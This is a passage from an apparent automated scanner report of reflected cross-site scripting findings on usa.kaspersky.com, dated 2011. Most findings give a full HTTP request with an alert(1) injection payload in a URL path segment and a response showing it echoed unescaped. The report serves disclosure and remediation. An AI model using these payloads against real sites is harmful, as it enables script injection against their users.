s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all/themes84fcc"-alert(1)-"e3f22eec311/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_
...[SNIP]...

1.9. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4b57"><script>alert(1)</script>1399bdc859f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/zenf4b57"><script>alert(1)</script>1399bdc859f/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138916"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:21:58 GMT
X-Varnish: 1163049277
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all/themes/zenf4b57"><script>alert(1)</script>1399bdc859f/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.10. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acb2c"-alert(1)-"defda43c72b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/themes/zenacb2c"-alert(1)-"defda43c72b/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138925"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:22:08 GMT
X-Varnish: 1163049572
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
4 = " Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all/themes/zenacb2c"-alert(1)-"defda43c72b/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code
...[SNIP]...

1.11. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55622"><script>alert(1)</script>5993aee8954 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/zen/kaspersky_usatheme55622"><script>alert(1)</script>5993aee8954/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138959"
Content-Type: text/html; charset=utf-8
Content-Length: 31429
Date: Sun, 04 Sep 2011 12:22:48 GMT
X-Varnish: 1163050653
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme55622"><script>alert(1)</script>5993aee8954/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.12. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9524"-alert(1)-"162f95c534c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/themes/zen/kaspersky_usathemef9524"-alert(1)-"162f95c534c/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:02 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138982"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:23:05 GMT
X-Varnish: 1163051271
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...

s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usathemef9524"-alert(1)-"162f95c534c/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)do
...[SNIP]...

1.13. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad070"-alert(1)-"0a6f9a5e76e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/themes/zen/kaspersky_usatheme/customad070"-alert(1)-"0a6f9a5e76e/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:24:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139057"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:24:21 GMT
X-Varnish: 1163053334
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
Name = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/customad070"-alert(1)-"0a6f9a5e76e/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.
...[SNIP]...

1.14. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d980"><script>alert(1)</script>bb34429b864 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/zen/kaspersky_usatheme/custom8d980"><script>alert(1)</script>bb34429b864/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139033"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:24:00 GMT
X-Varnish: 1163052709
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom8d980"><script>alert(1)</script>bb34429b864/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.15. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 108f3"-alert(1)-"554f67a870 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/themes/zen/kaspersky_usatheme/custom/modules108f3"-alert(1)-"554f67a870/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:26:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139169"
Content-Type: text/html; charset=utf-8
Content-Length: 31327
Date: Sun, 04 Sep 2011 12:26:17 GMT
X-Varnish: 1163056369
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules108f3"-alert(1)-"554f67a870/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_
...[SNIP]...

1.16. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc898"><script>alert(1)</script>be3f789ebb4 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/zen/kaspersky_usatheme/custom/modulesdc898"><script>alert(1)</script>be3f789ebb4/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:25:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139126"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:25:40 GMT
X-Varnish: 1163055221
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modulesdc898"><script>alert(1)</script>be3f789ebb4/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.17. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/default/files/kaspersky_usatheme_favicon.ico

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f05ea"-alert(1)-"447b63679fe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/default/files/f05ea"-alert(1)-"447b63679fe HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138942"
Content-Type: text/html; charset=utf-8
Content-Length: 37849
Date: Sun, 04 Sep 2011 12:22:27 GMT
X-Varnish: 1163050194
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
4 = " Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/default/files/f05ea"-alert(1)-"447b63679fe";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.18. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/default/files/kaspersky_usatheme_favicon.ico

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6348"><script>alert(1)</script>ef3152fde57 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/default/files/d6348"><script>alert(1)</script>ef3152fde57 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:22:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138930"
Content-Type: text/html; charset=utf-8
Content-Length: 35264
Date: Sun, 04 Sep 2011 12:22:14 GMT
X-Varnish: 1163049785
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/default/files/d6348"><script>alert(1)</script>ef3152fde57" />
...[SNIP]...

1.19. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d2ac"><script>alert(1)</script>6aad20417ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites5d2ac"><script>alert(1)</script>6aad20417ca/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:19:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138792"
Content-Type: text/html; charset=utf-8
Content-Length: 32580
Date: Sun, 04 Sep 2011 12:19:55 GMT
X-Varnish: 1163045716
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites5d2ac"><script>alert(1)</script>6aad20417ca/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R" />
...[SNIP]...

1.20. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d226"-alert(1)-"5cbfac5401b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites7d226"-alert(1)-"5cbfac5401b/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:19:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138799"
Content-Type: text/html; charset=utf-8
Content-Length: 33731
Date: Sun, 04 Sep 2011 12:20:01 GMT
X-Varnish: 1163045797
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

